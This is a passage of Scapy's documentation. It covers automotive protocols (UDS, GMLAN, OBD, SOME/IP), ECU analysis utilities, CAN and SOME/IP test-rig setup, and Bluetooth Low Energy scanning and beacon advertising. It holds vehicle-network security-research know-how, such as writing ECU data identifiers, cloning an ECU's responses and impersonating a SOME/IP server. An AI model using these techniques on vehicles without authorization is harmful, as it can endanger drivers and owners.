../graphics/animations/animation-scapy-uds.svg .. image:: ../graphics/animations/animation-scapy-uds2.svg Customization of UDS_RDBI, UDS_WDBI ----------------------------------- In real-world use-cases, the UDS layer is heavily customized. OEMs define their own substructure of packets. Especially the packets ReadDataByIdentifier or WriteDataByIdentifier have a very OEM or even ECU specific substructure. Therefore a ``StrField`` ``dataRecord`` is not added to the ``field_desc``. The intended usage is to create ECU or OEM specific description files, which extend the general UDS layer of Scapy with further protocol implementations. Customization example:: cat scapy/contrib/automotive/OEM-XYZ/car-model-xyz.py #! /usr/bin/env python # Protocol customization for car model xyz of OEM XYZ # This file contains further OEM car model specific UDS additions. from scapy.packet import Packet from scapy.contrib.automotive.uds import * # Define a new packet substructure class DBI_IP(Packet): name = 'DataByIdentifier_IP_Packet' fields_desc = [ ByteField('ADDRESS_FORMAT_ID', 0), IPField('IP', ''), IPField('SUBNETMASK', ''), IPField('DEFAULT_GATEWAY', '') ] # Bind the new substructure onto the existing UDS packets bind_layers(UDS_RDBIPR, DBI_IP, dataIdentifier=0x172b) bind_layers(UDS_WDBI, DBI_IP, dataIdentifier=0x172b) # Give add a nice name to dataIdentifiers enum UDS_RDBI.dataIdentifiers[0x172b] = 'GatewayIP' If one wants to work with this custom additions, these can be loaded at runtime to the Scapy interpreter:: >>> load_contrib("automotive.uds") >>> load_contrib("automotive.OEM-XYZ.car-model-xyz") >>> pkt = UDS()/UDS_WDBI()/DBI_IP(IP='192.168.2.1', SUBNETMASK='255.255.255.0', DEFAULT_GATEWAY='192.168.2.1') >>> pkt.show() ###[ UDS ]### service= WriteDataByIdentifier ###[ WriteDataByIdentifier ]### dataIdentifier= GatewayIP dataRecord= 0 ###[ DataByIdentifier_IP_Packet ]### ADDRESS_FORMAT_ID= 0 IP= 192.168.2.1 SUBNETMASK= 255.255.255.0 DEFAULT_GATEWAY= 192.168.2.1 >>> hexdump(pkt) 0000 2E 17 2B 00 C0 A8 02 01 FF FF FF 00 C0 A8 02 01 ..+............. .. image:: ../graphics/animations/animation-scapy-uds3.svg GMLAN ===== GMLAN is very similar to UDS. It's GMs application layer protocol for flashing, calibration and diagnostic of their cars. Use the argument ``basecls=GMLAN`` on the ``init`` function of an ISOTPSocket. Usage example: .. image:: ../graphics/animations/animation-scapy-gmlan.svg ECU Utility examples ==================== The ECU utility can be used to analyze the internal states of an ECU under investigation. This utility depends heavily on the support of the used protocol. ``UDS`` is supported. Log all commands applied to an ECU ---------------------------------- This example shows the logging mechanism of an ECU object. The log of an ECU is a dictionary of applied UDS commands. The key for this dictionary is the UDS service name. The value consists of a list of tuples, containing a timestamp and a log value Usage example:: ecu = ECU(verbose=False, store_supported_responses=False) ecu.update(PacketList(msgs)) print(ecu.log) timestamp, value = ecu.log["DiagnosticSessionControl"][0] Trace all commands applied to an ECU ------------------------------------ This example shows the trace mechanism of an ECU object. Traces of the current state of the ECU object and the received message are printed on stdout. Some messages, depending on the protocol, will change the internal state of the ECU. Usage example:: ecu = ECU(verbose=True, logging=False, store_supported_responses=False) ecu.update(PacketList(msgs)) print(ecu.current_session) Generate supported responses of an ECU -------------------------------------- This example shows a mechanism to clone a real world ECU by analyzing a list of Packets. Usage example:: ecu = ECU(verbose=False, logging=False, store_supported_responses=True) ecu.update(PacketList(msgs)) supported_responses = ecu.supported_responses unanswered_packets = ecu.unanswered_packets print(supported_responses) print(unanswered_packets) Analyze multiple UDS messages ----------------------------- This example shows how to load ``UDS`` messages from a ``.pcap`` file containing ``CAN`` messages. A ``PcapReader`` object is used as socket and an ``ISOTPSession`` parses ``CAN`` frames to ``ISOTP`` frames which are then casted to ``UDS`` objects through the ``basecls`` parameter Usage example:: with PcapReader("test/contrib/automotive/ecu_trace.pcap") as sock: udsmsgs = sniff(session=ISOTPSession, session_kwargs={"use_ext_addr":False, "basecls":UDS}, count=50, opened_socket=sock) ecu = ECU() ecu.update(udsmsgs) print(ecu.log) print(ecu.supported_responses) assert len(ecu.log["TransferData"]) == 2 Analyze on the fly with ECUSession ---------------------------------- This example shows the usage of an ECUSession in sniff. An ISOTPSocket or any socket like object which returns entire messages of the right protocol can be used. An ``ECUSession`` is used as supersession in an ``ISOTPSession``. To obtain the ``ECU`` object from an ``ECUSession``, the ``ECUSession`` has to be created outside of sniff. Usage example:: session = ECUSession() with PcapReader("test/contrib/automotive/ecu_trace.pcap") as sock: udsmsgs = sniff(session=ISOTPSession, session_kwargs={"supersession": session, "use_ext_addr":False, "basecls":UDS}, count=50, opened_socket=sock) ecu = session.ecu print(ecu.log) print(ecu.supported_responses) SOME/IP and SOME/IP SD messages =============================== Creating a SOME/IP message -------------------------- This example shows a SOME/IP message which requests a service 0x1234 with the method 0x421. Different types of SOME/IP messages follow the same procedure and their specifications can be seen here ``http://www.some-ip.com/papers/cache/AUTOSAR_TR_SomeIpExample_4.2.1.pdf``. Load the contribution:: load_contrib("automotive.someip") Create UDP package:: u = UDP(sport=30509, dport=30509) Create IP package:: i = IP(src="192.168.0.13", dst="192.168.0.10") Create SOME/IP package:: sip = SOMEIP() sip.iface_ver = 0 sip.proto_ver = 1 sip.msg_type = "REQUEST" sip.retcode = "E_OK" sip.srv_id = 0x1234 sip.method_id = 0x421 Add the payload:: sip.add_payload(Raw ("Hello")) Stack it and send it:: p = i/u/sip send(p) Creating a SOME/IP SD message ----------------------------- In this example a SOME/IP SD offer service message is shown with an IPv4 endpoint. Different entries and options basically follow the same procedure as shown here and can be seen at ``https://www.autosar.org/fileadmin/user_upload/standards/classic/4-3/AUTOSAR_SWS_ServiceDiscovery.pdf``. Load the contribution:: load_contrib("automotive.someip") Create UDP package:: u = UDP(sport=30490, dport=30490) The UDP port must be the one which was chosen for the SOME/IP SD transmission. Create IP package:: i = IP(src="192.168.0.13", dst="224.224.224.245") The IP source must be from the service and the destination address needs to be the chosen multicast address. Create the entry array input:: ea = SDEntry_Service() ea.type = 0x01 ea.srv_id = 0x1234 ea.inst_id = 0x5678 ea.major_ver = 0x00 ea.ttl = 3 Create the options array input:: oa = SDOption_IP4_Endpoint() oa.addr = "192.168.0.13" oa.l4_proto = 0x11 oa.port = 30509 l4_proto defines the protocol for the communication with the endpoint, UDP in this case. Create the SD package and put in the inputs:: sd = SD() sd.set_entryArray(ea) sd.set_optionArray(oa) Stack it and send it:: p = i/u/sd send(p) OBD === OBD message ----------- OBD is implemented on top of ISOTP. Use an ISOTPSocket for the communication with an ECU. You should set the parameters ``basecls=OBD`` and ``padding=True`` in your ISOTPSocket init call. OBD is split into different service groups. Here are some example requests: Request supported PIDs of service 0x01:: req = OBD()/OBD_S01(pid=[0x00]) The response will contain a PacketListField, called `data_records`. This field contains the actual response:: resp = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID00(supported_pids=3196041235)]) resp.show() ###[ On-board diagnostics ]### service= CurrentPowertrainDiagnosticDataResponse ###[ Parameter IDs ]### \data_records\ |###[ OBD_S01_PR_Record ]### | pid= 0x0 |###[ PID_00_PIDsSupported ]### | supported_pids= PID20+PID1F+PID1C+PID15+PID14+PID13+PID11+PID10+PID0F+PID0E+PID0D+PID0C+PID0B+PID0A+PID07+PID06+PID05+PID04+PID03+PID01 Let's assume our ECU under test supports the pid 0x15:: req = OBD()/OBD_S01(pid=[0x15]) resp = sock.sr1(req) resp.show() ###[ On-board diagnostics ]### service= CurrentPowertrainDiagnosticDataResponse ###[ Parameter IDs ]### \data_records\ |###[ OBD_S01_PR_Record ]### | pid= 0x15 |###[ PID_15_OxygenSensor2 ]### | outputVoltage= 1.275 V | trim= 0 % The different services in OBD support different kinds of data. Service 01 and Service 02 support Parameter Identifiers (pid). Service 03, 07 and 0A support Diagnostic Trouble codes (dtc). Service 04 doesn't require a payload. Service 05 is not implemented on OBD over CAN. Service 06 supports Monitoring Identifiers (mid). Service 08 supports Test Identifiers (tid). Service 09 supports Information Identifiers (iid). Examples: ^^^^^^^^^ Request supported Information Identifiers:: req = OBD()/OBD_S09(iid=[0x00]) Request the Vehicle Identification Number (VIN):: req = OBD()/OBD_S09(iid=0x02) resp = sock.sr1(req) resp.show() ###[ On-board diagnostics ]### service= VehicleInformationResponse ###[ Infotype IDs ]### \data_records\ |###[ OBD_S09_PR_Record ]### | iid= 0x2 |###[ IID_02_VehicleIdentificationNumber ]### | count= 1 | vehicle_identification_numbers= ['W0L000051T2123456'] .. image:: ../graphics/animations/animation-scapy-obd.svg Test-Setup Tutorials ==================== Hardware Setup -------------- Beagle Bone Black Operating System Setup ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ #. | **Download an Image** | The latest Debian Linux image can be found at the website | ``https://beagleboard.org/latest-images``. Choose the BeagleBone Black IoT version and download it. :: wget https://debian.beagleboard.org/images/bone-debian-8.7\ -iot-armhf-2017-03-19-4gb.img.xz After the download, copy it to an SD-Card with minimum of 4 GB storage. :: xzcat bone-debian-8.7-iot-armhf-2017-03-19-4gb.img.xz | \ sudo dd of=/dev/xvdj #. | **Enable WiFi** | USB-WiFi dongles are well supported by Debian Linux. Login over SSH on the BBB and add the WiFi network credentials to the file ``/var/lib/connman/wifi.config``. If a USB-WiFi dongle is not available, it is also possible to share the host's internet connection with the Ethernet connection of the BBB emulated over USB. A tutorial to share the host network connection can be found on this page: | ``https://elementztechblog.wordpress.com/2014/12/22/sharing-internet -using-network-over-usb-in-beaglebone-black/``. | Login as root onto the BBB: :: ssh debian@192.168.7.2 sudo su Provide the WiFi login credentials to connman: :: echo "[service_home] Type = wifi Name = ssid Security = wpa Passphrase = xxxxxxxxxxxxx" \ > /var/lib/connman/wifi.config Restart the connman service: :: systemctl restart connman.service Dual-CAN Setup ^^^^^^^^^^^^^^ #. | **Device tree setup** | You'll need to follow this section only if you want to use two CAN interfaces (DCAN0 and DCAN1). This will disable I2C2 from using pins P9.19 and P9.20, which are needed by DCAN0. You only need to perform the steps in this section once. | Warning: The configuration in this section will disable BBB capes from working. Each cape has a small I2C EEPROM that stores info that the BBB needs to know in order to communicate with the cape. Disable I2C2, and the BBB has no way to talk to cape EEPROMs. Of course, if you don't use capes then this is not a problem. | Acquire DTS sources that matches your kernel version. Go `here `__ and switch over to the branch that represents your kernel version. Download the entire branch as a ZIP file. Extract it and do the following (version 4.1 shown as an example): :: # cd ~/src/linux-4.1/arch/arm/boot/dts/include/ # rm dt-bindings # ln -s ../../../../../include/dt-bindings # cd .. Edit am335x-bone-common.dtsi and ensure the line with "//pinctrl-0 = <&i2c2_pins>;" is commented out. Remove the complete &ocp section at the end of this file # mv am335x-boneblack.dts am335x-boneblack.raw.dts # cpp -nostdinc -I include -undef -x assembler-with-cpp am335x-boneblack.raw.dts > am335x-boneblack.dts # dtc -W no-unit_address_vs_reg -O dtb -o am335x-boneblack.dtb -b 0 -@ am335x-boneblack.dts # cp /boot/dtbs/am335x-boneblack.dtb /boot/dtbs/am335x-boneblack.orig.dtb # cp am335x-boneblack.dtb /boot/dtbs/ Reboot #. **Overlay setup** | This section describes how to build the device overlays for the two CAN devices (DCAN0 and DCAN1). You only need to perform the steps in this section once. | Acquire BBB cape overlays, in one of two ways… :: # apt-get install bb-cape-overlays https://github.com/beagleboard/bb.org-overlays/ | Then do the following: :: # cd ~/src/bb.org-overlays-master/src/arm # ln -s ../../include # mv BB-CAN1-00A0.dts BB-CAN1-00A0.raw.dts # cp BB-CAN1-00A0.raw.dts BB-CAN0-00A0.raw.dts Edit BB-CAN0-00A0.raw.dts and make relevant to CAN0. Example is shown below. # cpp -nostdinc -I include -undef -x assembler-with-cpp BB-CAN0-00A0.raw.dts > BB-CAN0-00A0.dts # cpp -nostdinc -I include -undef -x assembler-with-cpp BB-CAN1-00A0.raw.dts > BB-CAN1-00A0.dts # dtc -W no-unit_address_vs_reg -O dtb -o BB-CAN0-00A0.dtbo -b 0 -@ BB-CAN0-00A0.dts # dtc -W no-unit_address_vs_reg -O dtb -o BB-CAN1-00A0.dtbo -b 0 -@ BB-CAN1-00A0.dts # cp *.dtbo /lib/firmware #. | **CAN0 Example Overlay** | Inside the DTS folder, create a file with the content of the following listing. :: cd ~/bb.org-overlays/src/arm cat < BB-CAN0-00A0.raw.dts /* * Copyright (C) 2015 Robert Nelson * * Virtual cape for CAN0 on connector pins P9.19 P9.20 * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. */ /dts-v1/; /plugin/; #include #include / { compatible = "ti,beaglebone", "ti,beaglebone-black", "ti,beaglebone-green"; /* identification */ part-number = "BB-CAN0"; version = "00A0"; /* state the resources this cape uses */ exclusive-use = /* the pin header uses */ "P9.19", /* can0_rx */ "P9.20", /* can0_tx */ /* the hardware ip uses */ "dcan0"; fragment@0 { target = <&am33xx_pinmux>; __overlay__ { bb_dcan0_pins: pinmux_dcan0_pins { pinctrl-single,pins = < BONE_P9_19 (PIN_INPUT_PULLUP | MUX_MODE2) /* uart1_txd.d_can0_rx */ BONE_P9_20 (PIN_OUTPUT_PULLUP | MUX_MODE2) /* uart1_rxd.d_can0_tx */ >; }; }; }; fragment@1 { target = <&dcan0>; __overlay__ { status = "okay"; pinctrl-names = "default"; pinctrl-0 = <&bb_dcan0_pins>; }; }; }; EOF #. | **Test the Dual-CAN Setup** | Do the following each time you need CAN, or automate these steps if you like. :: # echo BB-CAN0 > /sys/devices/platform/bone_capemgr/slots # echo BB-CAN1 > /sys/devices/platform/bone_capemgr/slots # modprobe can # modprobe can-dev # modprobe can-raw # ip link set can0 up type can bitrate 50000 # ip link set can1 up type can bitrate 50000 Check the output of the Capemanager if both CAN interfaces have been loaded. :: cat /sys/devices/platform/bone_capemgr/slots 0: PF---- -1 1: PF---- -1 2: PF---- -1 3: PF---- -1 4: P-O-L- 0 Override Board Name,00A0,Override Manuf, BB-CAN0 5: P-O-L- 1 Override Board Name,00A0,Override Manuf, BB-CAN1 If something went wrong, ``dmesg`` provides kernel messages to analyse the root of failure. #. | **References** - `embedded-things.com: Enable CANbus on the Beaglebone Black `__ - `electronics.stackexchange.com: Beaglebone Black CAN bus Setup `__ #. | **Acknowledgment** | Thanks to Tom Haramori. Parts of this section are copied from his guide: https://github.com/haramori/rhme3/blob/master/Preparation/BBB_CAN_setup.md ISO-TP Kernel Module Installation --------------------------------- A Linux ISO-TP kernel module can be downloaded from this website: ``https://github.com/hartkopp/can-isotp.git``. The file ``README.isotp`` in this repository provides all information and necessary steps for downloading and building this kernel module. The ISO-TP kernel module should also be added to the ``/etc/modules`` file, to load this module automatically at system boot of the BBB. CAN-Interface Setup ------------------- As the final step to prepare the BBB's CAN interfaces for usage, these interfaces have to be set up through some terminal commands. The bitrate can be chosen to fit the bitrate of a CAN bus under test. :: ip link set can0 up type can bitrate 500000 ip link set can1 up type can bitrate 500000 Raspberry Pi SOME/IP setup -------------------------- To build a small test environment in which you can send SOME/IP messages to and from server instances or disguise yourself as a server, one Raspberry Pi, your laptop and the vsomeip library are sufficient. #. | **Download image** Download the latest raspbian image (``https://www.raspberrypi.org/downloads/raspbian/``) and install it on the Raspberry. #. | **Vsomeip setup** Download the vsomeip library on the Rapsberry, apply the git patch so it can work with the newer boost libraries and then install it. :: git clone https://github.com/GENIVI/vsomeip.git cd vsomeip wget -O 0001-Support-boost-v1.66.patch.zip \ https://github.com/GENIVI/vsomeip/files/2244890/0001-Support-boost-v1.66.patch.zip unzip 0001-Support-boost-v1.66.patch.zip git apply 0001-Support-boost-v1.66.patch mkdir build cd build cmake -DENABLE_SIGNAL_HANDLING=1 .. make make install #. | **Make applications** Write some small applications which function as either a service or a client and use the Scapy SOME/IP implementation to communicate with the client or the server. Examples for vsomeip applications are available on the vsomeip github wiki page (``https://github.com/GENIVI/vsomeip/wiki/vsomeip-in-10-minutes``). Software Setup -------------- Cannelloni Framework Installation ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ The Cannelloni framework is a small application written in C++ to transfer CAN data over UDP. In this way, a researcher can map the CAN communication of a remote device to its workstation, or even combine multiple remote CAN devices on his machine. The framework can be downloaded from this website: ``https://github.com/mguentner/cannelloni.git``. The ``README.md`` file explains the installation and usage in detail. Cannelloni needs virtual CAN interfaces on the operator's machine. The next listing shows the setup of virtual CAN interfaces. :: modprobe vcan ip link add name vcan0 type vcan ip link add name vcan1 type vcan ip link set dev vcan0 up ip link set dev vcan1 up tc qdisc add dev vcan0 root tbf rate 300kbit latency 100ms burst 1000 tc qdisc add dev vcan1 root tbf rate 300kbit latency 100ms burst 1000 cannelloni -I vcan0 -R -r 20000 -l 20000 & cannelloni -I vcan1 -R -r 20001 -l 20001 & scapy-2.4.4/doc/scapy/layers/bluetooth.rst000066400000000000000000000454561372370053500206050ustar00rootroot00000000000000********* Bluetooth ********* .. note:: If you're new to using Scapy, start with the :doc:`usage documentation <../usage>`, which describes how to use Scapy with Ethernet and IP. .. warning:: Scapy does not support Bluetooth interfaces on Windows. What is Bluetooth? ================== Bluetooth is a short range, mostly point-to-point wireless communication protocol that operates on the 2.4GHz `ISM band`__. __ https://en.wikipedia.org/wiki/ISM_band `Bluetooth standards are publicly available`__ from the `Bluetooth Special Interest Group.`__ __ https://www.bluetooth.com/specifications/bluetooth-core-specification __ https://www.bluetooth.com/ Broadly speaking, Bluetooth has *three* distinct physical-layer protocols: Bluetooth Basic Rate (BR) and Enhanced Data Rate (EDR) These are the "classic" Bluetooth physical layers. :abbr:`BR (Basic Rate)` reaches effective speeds of up to 721kbit/s. This was ratified as ``IEEE 802.15.1-2002`` (v1.1) and ``-2005`` (v1.2). :abbr:`EDR (Enhanced Data Rate)` was introduced as an optional feature of Bluetooth 2.0 (2004). It can reach effective speeds of 2.1Mbit/s, and has lower power consumption than BR. In Bluetooth 4.0 and later, this is not supported by *Low Energy* interfaces, unless they are marked as *dual-mode*. Bluetooth High Speed (HS) Introduced as an optional feature of Bluetooth 3.0 (2009), this extends Bluetooth by providing ``IEEE 802.11`` (WiFi) as an alternative, higher-speed data transport. Nodes negotiate switching with :abbr:`AMP (Alternative MAC/PHY)`. This is only supported by Bluetooth interfaces marked as *+HS*. Not all Bluetooth 3.0 and later interfaces support it. Bluetooth Low Energy (BLE) Introduced in Bluetooth 4.0 (2010), this is an alternate physical layer designed for low power, embedded systems. It has shorter setup times, lower data rates and smaller :abbr:`MTU (maximum transmission unit)` sizes. It adds broadcast and mesh network topologies, in addition to point-to-point links. This is only supported by Bluetooth interface marked as *+LE* or *Low Energy* -- not all Bluetooth 4.0 and later interfaces support it. Most Bluetooth interfaces on PCs use USB connectivity (even on laptops), and this is controlled with the Host-Controller Interface (HCI). This typically doesn't support promiscuous mode (sniffing), however there are many other dedicated, non-HCI devices that support it. Bluetooth sockets (``AF_BLUETOOTH``) ------------------------------------ There are multiple protocols available for Bluetooth through ``AF_BLUETOOTH`` sockets: Host-controller interface (HCI) ``BTPROTO_HCI`` Scapy class: ``BluetoothHCISocket`` This is the "base" level interface for communicating with a Bluetooth controller. Everything is built on top of this, and this represents about as close to the physical layer as one can get with regular Bluetooth hardware. Logical Link Control and Adaptation Layer Protocol (L2CAP) ``BTPROTO_L2CAP`` Scapy class: ``BluetoothL2CAPSocket`` Sitting above the HCI, it provides connection and connection-less data transport to higher level protocols. It provides protocol multiplexing, packet segmentation and reassembly operations. When communicating with a single device, one may use a L2CAP channel. RFCOMM ``BluetoothRFCommSocket`` Scapy class: ``BluetoothRFCommSocket`` RFCOMM is a serial port emulation protocol which operates over L2CAP. In addition to regular data transfer, it also supports manipulation of all of RS-232's non-data control circuitry (:abbr:`RTS (Request To Send)`, :abbr:`DTR (Data Terminal Ready)`, etc.) Bluetooth on Linux ------------------ Linux's Bluetooth stack is developed by `the BlueZ project`__. `The Linux kernel contains drivers to provide access to Bluetooth`__ interfaces using HCI, which are exposed through sockets with ``AF_BLUETOOTH``. __ http://www.bluez.org/ __ https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth.git BlueZ also provides a user-space companion to these kernel interfaces. The key components are: ``bluetoothd`` A daemon that provides access to Bluetooth devices over D-Bus. ``bluetoothctl`` An interactive command-line program which interfaces with the ``bluetoothd`` over D-Bus. ``hcitool`` A command-line program which interfaces directly with kernel interfaces. `Support for Classic Bluetooth in bluez is quite mature`__, however `BLE is under active development`__. __ http://www.bluez.org/profiles/ __ https://git.kernel.org/pub/scm/bluetooth/bluez.git/tree/TODO First steps =========== .. note:: You must run these examples as ``root``. These have only been tested on Linux, and require Scapy v2.4.3 or later. Verify Bluetooth device ----------------------- Before doing anything else, you'll want to check that your Bluetooth device has actually been detected by the operating system: .. code-block:: console $ hcitool dev Devices: hci0 xx:xx:xx:xx:xx:xx .. _hci-open: Opening a HCI socket -------------------- The first step in Scapy is to open a HCI socket to the underlying Bluetooth device: .. code-block:: pycon >>> # Open a HCI socket to device hci0 >>> bt = BluetoothHCISocket(0) Send a control packet --------------------- This packet contains no operation (ie: it does nothing), but it will test that you can communicate through the HCI device: .. code-block:: pycon >>> ans, unans = bt.sr(HCI_Hdr()/HCI_Command_Hdr()) Received 1 packets, got 1 answers, remaining 0 packets You can then inspect the response: .. code-block:: pycon >>> # ans[0] = Answered packet #0 >>> # ans[0][1] = The response packet >>> p = ans[0][1] >>> p.show() ###[ HCI header ]### type= Event ###[ HCI Event header ]### code= 0xf len= 4 ###[ Command Status ]### status= 1 number= 2 opcode= 0x0 Receiving all events -------------------- To start capturing all events from the HCI device, use ``sniff``: .. code-block:: pycon >>> pkts = bt.sniff() (press ^C after a few seconds to stop...) >>> pkts Unless your computer is doing something else with Bluetooth, you'll probably get 0 packets at this point. This is because ``sniff`` doesn't actually enable any promiscuous mode on the device. However, this is useful for some other commands that will be explained later on. Importing and exporting packets ------------------------------- :ref:`Just like with other protocols `, you can save packets for future use in ``libpcap`` format with ``wrpcap``: .. code-block:: pycon >>> wrpcap("/tmp/bluetooth.pcap", pkts) And load them up again with ``rdpcap``: .. code-block:: pycon >>> pkts = rdpcap("/tmp/bluetooth.pcap") Working with Bluetooth Low Energy ================================= .. note:: This requires a Bluetooth 4.0 or later interface that supports :abbr:`BLE (Bluetooth Low Energy)`, either as a dedicated :abbr:`LE (Low Energy)` chipset or a *dual-mode* LE + :abbr:`BR (Basic Rate)`/:abbr:`EDR (Enhanced Data Rate)` chipset (such as an `RTL8723BU`__). These instructions only been tested on Linux, and require Scapy v2.4.3 or later. There are bugs in earlier versions which decode packets incorrectly. __ https://www.realtek.com/en/products/communications-network-ics/item/rtl8723bu These examples presume you have already :ref:`opened a HCI socket ` (as ``bt``). Discovering nearby devices -------------------------- Enabling discovery mode ^^^^^^^^^^^^^^^^^^^^^^^ Start active discovery mode with: .. code-block:: pycon >>> # type=1: Active scanning mode >>> bt.sr( ... HCI_Hdr()/ ... HCI_Command_Hdr()/ ... HCI_Cmd_LE_Set_Scan_Parameters(type=1)) Received 1 packets, got 1 answers, remaining 0 packets >>> # filter_dups=False: Show duplicate advertising reports, because these >>> # sometimes contain different data! >>> bt.sr( ... HCI_Hdr()/ ... HCI_Command_Hdr()/ ... HCI_Cmd_LE_Set_Scan_Enable( ... enable=True, ... filter_dups=False)) Received 1 packets, got 1 answers, remaining 0 packets In the background, there are already HCI events waiting on the socket. You can grab these events with ``sniff``: .. code-block:: pycon >>> # The lfilter will drop anything that's not an advertising report. >>> adverts = bt.sniff(lfilter=lambda p: HCI_LE_Meta_Advertising_Reports in p) (press ^C after a few seconds to stop...) >>> adverts Once you have the packets, disable discovery mode with: .. code-block:: pycon >>> bt.sr( ... HCI_Hdr()/ ... HCI_Command_Hdr()/ ... HCI_Cmd_LE_Set_Scan_Enable( ... enable=False)) Begin emission: Finished sending 1 packets. ...* Received 4 packets, got 1 answers, remaining 0 packets (, ) Collecting advertising reports ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ You can sometimes get multiple ``HCI_LE_Meta_Advertising_Report`` in a single ``HCI_LE_Meta_Advertising_Reports``, and these can also be for different devices! .. code-block:: python3 # Rearrange into a generator that returns reports sequentially from itertools import chain reports = chain.from_iterable( p[HCI_LE_Meta_Advertising_Reports].reports for p in adverts) # Group reports by MAC address (consumes the reports generator) devices = {} for report in reports: device = devices.setdefault(report.addr, []) device.append(report) # Packet counters devices_pkts = dict((k, len(v)) for k, v in devices.items()) print(devices_pkts) # {'xx:xx:xx:xx:xx:xx': 408, 'xx:xx:xx:xx:xx:xx': 2} Filtering advertising reports ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ .. code-block:: python3 # Get one packet for each device that broadcasted short UUID 0xfe50 (Google). # Android devices broadcast this pretty much constantly. google = {} for mac, reports in devices.items(): for report in reports: if (EIR_CompleteList16BitServiceUUIDs in report and 0xfe50 in report[EIR_CompleteList16BitServiceUUIDs].svc_uuids): google[mac] = report break # List MAC addresses that sent such a broadcast print(google.keys()) # dict_keys(['xx:xx:xx:xx:xx:xx', 'xx:xx:xx:xx:xx:xx']) Look at the first broadcast received: .. code-block:: pycon >>> for mac, report in google.items(): ... report.show() ... break ... ###[ Advertising Report ]### type= conn_und atype= random addr= xx:xx:xx:xx:xx:xx len= 13 \data\ |###[ EIR Header ]### | len= 2 | type= flags |###[ Flags ]### | flags= general_disc_mode |###[ EIR Header ]### | len= 3 | type= complete_list_16_bit_svc_uuids |###[ Complete list of 16-bit service UUIDs ]### | svc_uuids= [0xfe50] |###[ EIR Header ]### | len= 5 | type= svc_data_16_bit_uuid |###[ EIR Service Data - 16-bit UUID ]### | svc_uuid= 0xfe50 | data= 'AB' rssi= -96 Setting up advertising ---------------------- .. note:: Changing advertisements may not take effect until advertisements have first been :ref:`stopped `. AltBeacon ^^^^^^^^^ `AltBeacon`__ is a proximity beacon protocol developed by Radius Networks. This example sets up a virtual AltBeacon: __ https://github.com/AltBeacon/spec .. code-block:: python3 # Load the contrib module for AltBeacon load_contrib('altbeacon') ab = AltBeacon( id1='2f234454-cf6d-4a0f-adf2-f4911ba9ffa6', id2=1, id3=2, tx_power=-59, ) bt.sr(ab.build_set_advertising_data()) Once :ref:`advertising has been started `, the beacon may then be detected with `Beacon Locator`__ (Android). .. note:: Beacon Locator v1.2.2 `incorrectly reports the beacon as being an iBeacon`__, but the values are otherwise correct. __ https://github.com/vitas/beaconloc __ https://github.com/vitas/beaconloc/issues/32 Eddystone ^^^^^^^^^ `Eddystone`__ is a proximity beacon protocol developed by Google. This uses an Eddystone-specific service data field. __ https://github.com/google/eddystone/ This example sets up a virtual `Eddystone URL`__ beacon: __ https://github.com/google/eddystone/tree/master/eddystone-url .. code-block:: python3 # Load the contrib module for Eddystone load_contrib('eddystone') # Eddystone_URL.from_url() builds an Eddystone_URL frame for a given URL. # # build_set_advertising_data() wraps an Eddystone_Frame into a # HCI_Cmd_LE_Set_Advertising_Data payload, that can be sent to the BLE # controller. bt.sr(Eddystone_URL.from_url( 'https://scapy.net').build_set_advertising_data()) Once :ref:`advertising has been started `, the beacon may then be detected with `Eddystone Validator`__ or `Beacon Locator`__ (Android): .. image:: ../graphics/ble_eddystone_url.png __ https://github.com/google/eddystone/tree/master/tools/eddystone-validator __ https://github.com/vitas/beaconloc .. _adv-ibeacon: iBeacon ^^^^^^^ `iBeacon`__ is a proximity beacon protocol developed by Apple, which uses their manufacturer-specific data field. :ref:`Apple/iBeacon framing ` (below) describes this in more detail. __ https://en.wikipedia.org/wiki/IBeacon This example sets up a virtual iBeacon: .. code-block:: python3 # Load the contrib module for iBeacon load_contrib('ibeacon') # Beacon data consists of a UUID, and two 16-bit integers: "major" and # "minor". # # iBeacon sits ontop of Apple's BLE protocol. p = Apple_BLE_Submessage()/IBeacon_Data( uuid='fb0b57a2-8228-44cd-913a-94a122ba1206', major=1, minor=2) # build_set_advertising_data() wraps an Apple_BLE_Submessage or # Apple_BLE_Frame into a HCI_Cmd_LE_Set_Advertising_Data payload, that can # be sent to the BLE controller. bt.sr(p.build_set_advertising_data()) Once :ref:`advertising has been started `, the beacon may then be detected with `Beacon Locator`__ (Android): .. image:: ../graphics/ble_ibeacon.png __ https://github.com/vitas/beaconloc .. _le-adv-start: Starting advertising -------------------- .. code-block:: python3 bt.sr(HCI_Hdr()/ HCI_Command_Hdr()/ HCI_Cmd_LE_Set_Advertise_Enable(enable=True)) .. _le-adv-stop: Stopping advertising -------------------- .. code-block:: python3 bt.sr(HCI_Hdr()/ HCI_Command_Hdr()/ HCI_Cmd_LE_Set_Advertise_Enable(enable=False)) Resources and references ------------------------ * `16-bit UUIDs for members`__: List of registered UUIDs which appear in ``EIR_CompleteList16BitServiceUUIDs`` and ``EIR_ServiceData16BitUUID``. __ https://www.bluetooth.com/specifications/assigned-numbers/16-bit-uuids-for-members * `16-bit UUIDs for SDOs`__: List of registered UUIDs which are used by Standards Development Organisations. __ https://www.bluetooth.com/specifications/assigned-numbers/16-bit-uuids-for-sdos * `Company Identifiers`__: List of company IDs, which appear in ``EIR_Manufacturer_Specific_Data.company_id``. __ https://www.bluetooth.com/specifications/assigned-numbers/company-identifiers * `Generic Access Profile`__: List of assigned type IDs and links to specification definitions, which appear in ``EIR_Header``. __ https://www.bluetooth.com/specifications/assigned-numbers/generic-access-profile .. _apple-ble: Apple/iBeacon broadcast frames ============================== .. note:: This describes the wire format for Apple's Bluetooth Low Energy advertisements, based on (limited) publicly available information. It is not specific to using Bluetooth on Apple operating systems. `iBeacon`__ is Apple's proximity beacon protocol. Scapy includes a contrib module, ``ibeacon``, for working with Apple's :abbr:`BLE (Bluetooth Low Energy)` broadcasts: __ https://en.wikipedia.org/wiki/IBeacon .. code-block:: pycon >>> load_contrib('ibeacon') :ref:`Setting up advertising for iBeacon ` (above) describes how to broadcast a simple beacon. While this module is called ``ibeacon``, Apple has other "submessages" which are also advertised within their manufacturer-specific data field, including: * `AirDrop`__ * AirPlay * AirPods * `Handoff`__ * 